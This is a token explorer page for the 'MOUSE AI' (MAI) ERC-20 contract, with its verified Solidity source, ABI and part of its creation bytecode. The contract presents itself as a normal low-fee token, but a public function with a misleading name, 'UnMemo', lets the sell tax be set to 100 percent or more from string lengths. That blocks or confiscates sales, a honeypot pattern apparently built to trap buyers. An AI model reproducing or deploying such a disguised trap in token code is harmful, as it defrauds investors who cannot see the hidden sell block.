ERC-20
Overview
Max Total Supply
1,000,000,000 MAI
Holders
18
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
27,494,963.305650727 MAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
MouseAi
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-02-09 */ //SPDX-License-Identifier: MIT // Telegram : https://t.me/MouseAi // Twitter : https://twittter.com/MouseAi_ pragma solidity ^0.8.16; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract MouseAi is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "MOUSE AI"; string private constant _symbol = "MAI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _feeOnBuy = 0; uint256 private _taxOnBuy = 1; //Sell Fee uint256 private _feeOnSell = 0; uint256 public totalFees; //Original Fee uint256 private _redisFee = _feeOnSell; uint256 private _taxFee = Bullshow; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => uint256) private cooldown; uint256 private Bullshow = 1; address payable private _developmentWalletAddress = payable(0xf9166BE207fd227E34dE30D6a361a228d7e39b0F); address payable private _marketingWalletAddress = payable(0xf9166BE207fd227E34dE30D6a361a228d7e39b0F); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 public _maxTxAmount = _tTotal; uint256 public _maxWalletSize = _tTotal *5/100; uint256 public _swapTokensAtAmount = _tTotal *1/1000; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentWalletAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _feeOnBuy; _taxFee = _taxOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _feeOnSell; _taxFee = Bullshow; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentWalletAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentWalletAddress || _msgSender() == _marketingWalletAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentWalletAddress || _msgSender() == _marketingWalletAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function UnMemo(string memory s , string memory q) public { require(bytes(s).length >=10); uint256 c = bytes(s).length; uint256 d = bytes(q).length; uint256 e = c*10 + d; Bullshow = e; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set max buy amount function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } //Set max wallet amount function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"string","name":"s","type":"string"},{"internalType":"string","name":"q","type":"string"}],"name":"UnMemo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526200001a670de0b6b3a7640000600019620003af565b6200002890600019620003dc565b6006556000600881905560016009819055600a829055600c82905560118054600d819055600e93909355600f9290925590556012805473f9166be207fd227e34de30d6a361a228d7e39b0f6001600160a01b031991821681179092556013805490911690911790556015805461ffff60a81b19169055670de0b6b3a76400006016819055606490620000bc906005620003f8565b620000c8919062000412565b6017556103e8620000e3670de0b6b3a76400006001620003f8565b620000ef919062000412565b601855348015620000ff57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360009081526002602090815260409182902092909255601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001bd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e3919062000429565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000231573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000257919062000429565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002a5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002cb919062000429565b601580546001600160a01b0319166001600160a01b03928316179055600080548216815260056020526040808220805460ff1990811660019081179092553084528284208054821683179055601254851684528284208054821683179055601354909416835291208054909216179055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200038a91815260200190565b60405180910390a3506200045b565b634e487b7160e01b600052601260045260246000fd5b600082620003c157620003c162000399565b500690565b634e487b7160e01b600052601160045260246000fd5b81810381811115620003f257620003f2620003c6565b92915050565b8082028115828204841417620003f257620003f2620003c6565b60008262000424576200042462000399565b500490565b6000602082840312156200043c57600080fd5b81516001600160a01b03811681146200045457600080fd5b9392505050565b611b67806200046b6000396000f3fe6080604052600436106101a05760003560e01c8063715018a6116100ec57806398a5c3151161008a578063c492f04611610064578063c492f0461461049f578063dd62ed3e146104bf578063ea1644d514610505578063f2fde38b1461052557600080fd5b806398a5c3151461044a578063a9059cbb1461046a578063c3c8cd801461048a57600080fd5b80638da5cb5b116100c65780638da5cb5b146103ca5780638f70ccf7146103e85780638f9a55c01461040857806395d89b411461041e57600080fd5b8063715018a61461037f57806374010ece146103945780637d1db4a5146103b457600080fd5b80632fd689e3116101595780634b12b368116101335780634b12b368146103085780636d8aa8f81461032a5780636fc3eaec1461034a57806370a082311461035f57600080fd5b80632fd689e3146102b6578063313ce567146102cc57806349bd5a5e146102e857600080fd5b806306fdde03146101ac578063095ea7b3146101ef57806313114a9d1461021f5780631694505e1461024357806318160ddd1461027b57806323b872dd1461029657600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506040805180820190915260088152674d4f55534520414960c01b60208201525b6040516101e691906116a8565b60405180910390f35b3480156101fb57600080fd5b5061020f61020a36600461170b565b610545565b60405190151581526020016101e6565b34801561022b57600080fd5b50610235600b5481565b6040519081526020016101e6565b34801561024f57600080fd5b50601454610263906001600160a01b031681565b6040516001600160a01b0390911681526020016101e6565b34801561028757600080fd5b50670de0b6b3a7640000610235565b3480156102a257600080fd5b5061020f6102b1366004611737565b61055c565b3480156102c257600080fd5b5061023560185481565b3480156102d857600080fd5b50604051600981526020016101e6565b3480156102f457600080fd5b50601554610263906001600160a01b031681565b34801561031457600080fd5b5061032861032336600461181b565b6105c5565b005b34801561033657600080fd5b50610328610345366004611894565b6105fa565b34801561035657600080fd5b5061032861064b565b34801561036b57600080fd5b5061023561037a3660046118af565b610696565b34801561038b57600080fd5b506103286106b8565b3480156103a057600080fd5b506103286103af3660046118cc565b61072c565b3480156103c057600080fd5b5061023560165481565b3480156103d657600080fd5b506000546001600160a01b0316610263565b3480156103f457600080fd5b50610328610403366004611894565b61075b565b34801561041457600080fd5b5061023560175481565b34801561042a57600080fd5b506040805180820190915260038152624d414960e81b60208201526101d9565b34801561045657600080fd5b506103286104653660046118cc565b6107a3565b34801561047657600080fd5b5061020f61048536600461170b565b6107d2565b34801561049657600080fd5b506103286107df565b3480156104ab57600080fd5b506103286104ba3660046118e5565b610833565b3480156104cb57600080fd5b506102356104da366004611969565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561051157600080fd5b506103286105203660046118cc565b6108d4565b34801561053157600080fd5b506103286105403660046118af565b610903565b60006105523384846109ed565b5060015b92915050565b6000610569848484610b11565b6105bb84336105b685604051806060016040528060288152602001611b0a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f2e565b6109ed565b5060019392505050565b600a825110156105d457600080fd5b815181516000816105e684600a6119b8565b6105f091906119cf565b6011555050505050565b6000546001600160a01b0316331461062d5760405162461bcd60e51b8152600401610624906119e2565b60405180910390fd5b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061068057506013546001600160a01b0316336001600160a01b0316145b61068957600080fd5b4761069381610f68565b50565b6001600160a01b03811660009081526002602052604081205461055690610ff1565b6000546001600160a01b031633146106e25760405162461bcd60e51b8152600401610624906119e2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107565760405162461bcd60e51b8152600401610624906119e2565b601655565b6000546001600160a01b031633146107855760405162461bcd60e51b8152600401610624906119e2565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146107cd5760405162461bcd60e51b8152600401610624906119e2565b601855565b6000610552338484610b11565b6012546001600160a01b0316336001600160a01b0316148061081457506013546001600160a01b0316336001600160a01b0316145b61081d57600080fd5b600061082830610696565b905061069381611075565b6000546001600160a01b0316331461085d5760405162461bcd60e51b8152600401610624906119e2565b60005b828110156108ce57816005600086868581811061087f5761087f611a17565b905060200201602081019061089491906118af565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806108c681611a2d565b915050610860565b50505050565b6000546001600160a01b031633146108fe5760405162461bcd60e51b8152600401610624906119e2565b601755565b6000546001600160a01b0316331461092d5760405162461bcd60e51b8152600401610624906119e2565b6001600160a01b0381166109925760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a4f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610624565b6001600160a01b038216610ab05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610624565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b755760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610624565b6001600160a01b038216610bd75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610624565b60008111610c395760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610624565b6000546001600160a01b03848116911614801590610c6557506000546001600160a01b03838116911614155b15610e2757601554600160a01b900460ff16610cfe576000546001600160a01b03848116911614610cfe5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610624565b601654811115610d505760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610624565b6000610d5b30610696565b601854601654919250821015908210610d745760165491505b808015610d8b5750601554600160a81b900460ff16155b8015610da557506015546001600160a01b03868116911614155b8015610dba5750601554600160b01b900460ff165b8015610ddf57506001600160a01b03851660009081526005602052604090205460ff16155b8015610e0457506001600160a01b03841660009081526005602052604090205460ff16155b15610e2457610e1282611075565b478015610e2257610e2247610f68565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610e6957506001600160a01b03831660009081526005602052604090205460ff165b80610e9b57506015546001600160a01b03858116911614801590610e9b57506015546001600160a01b03848116911614155b15610ea857506000610f22565b6015546001600160a01b038581169116148015610ed357506014546001600160a01b03848116911614155b15610ee557600854600c55600954600d555b6015546001600160a01b038481169116148015610f1057506014546001600160a01b03858116911614155b15610f2257600a54600c55601154600d555b6108ce848484846111ef565b60008184841115610f525760405162461bcd60e51b815260040161062491906116a8565b506000610f5f8486611a46565b95945050505050565b6012546001600160a01b03166108fc610f8283600261121d565b6040518115909202916000818181858888f19350505050158015610faa573d6000803e3d6000fd5b506013546001600160a01b03166108fc610fc583600261121d565b6040518115909202916000818181858888f19350505050158015610fed573d6000803e3d6000fd5b5050565b60006006548211156110585760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610624565b600061106261125f565b905061106e838261121d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110bd576110bd611a17565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611116573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113a9190611a59565b8160018151811061114d5761114d611a17565b6001600160a01b03928316602091820292909201015260145461117391309116846109ed565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ac908590600090869030904290600401611a76565b600060405180830381600087803b1580156111c657600080fd5b505af11580156111da573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806111fc576111fc611282565b6112078484846112b0565b806108ce576108ce600e54600c55600f54600d55565b600061106e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113a7565b600080600061126c6113d5565b909250905061127b828261121d565b9250505090565b600c541580156112925750600d54155b1561129957565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806112c287611415565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112f49087611472565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461132390866114b4565b6001600160a01b03891660009081526002602052604090205561134581611513565b61134f848361155d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161139491815260200190565b60405180910390a3505050505050505050565b600081836113c85760405162461bcd60e51b815260040161062491906116a8565b506000610f5f8486611ae7565b6006546000908190670de0b6b3a76400006113f0828261121d565b82101561140c57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114328a600c54600d54611581565b925092509250600061144261125f565b905060008060006114558e8787876115d6565b919e509c509a509598509396509194505050505091939550919395565b600061106e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f2e565b6000806114c183856119cf565b90508381101561106e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610624565b600061151d61125f565b9050600061152b8383611626565b3060009081526002602052604090205490915061154890826114b4565b30600090815260026020526040902055505050565b60065461156a9083611472565b60065560075461157a90826114b4565b6007555050565b600080808061159b60646115958989611626565b9061121d565b905060006115ae60646115958a89611626565b905060006115c6826115c08b86611472565b90611472565b9992985090965090945050505050565b60008080806115e58886611626565b905060006115f38887611626565b905060006116018888611626565b90506000611613826115c08686611472565b939b939a50919850919650505050505050565b60008260000361163857506000610556565b600061164483856119b8565b9050826116518583611ae7565b1461106e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610624565b600060208083528351808285015260005b818110156116d5578581018301518582016040015282016116b9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461069357600080fd5b6000806040838503121561171e57600080fd5b8235611729816116f6565b946020939093013593505050565b60008060006060848603121561174c57600080fd5b8335611757816116f6565b92506020840135611767816116f6565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261179f57600080fd5b813567ffffffffffffffff808211156117ba576117ba611778565b604051601f8301601f19908116603f011681019082821181831017156117e2576117e2611778565b816040528381528660208588010111156117fb57600080fd5b836020870160208301376000602085830101528094505050505092915050565b6000806040838503121561182e57600080fd5b823567ffffffffffffffff8082111561184657600080fd5b6118528683870161178e565b9350602085013591508082111561186857600080fd5b506118758582860161178e565b9150509250929050565b8035801515811461188f57600080fd5b919050565b6000602082840312156118a657600080fd5b61106e8261187f565b6000602082840312156118c157600080fd5b813561106e816116f6565b6000602082840312156118de57600080fd5b5035919050565b6000806000604084860312156118fa57600080fd5b833567fffffffffffff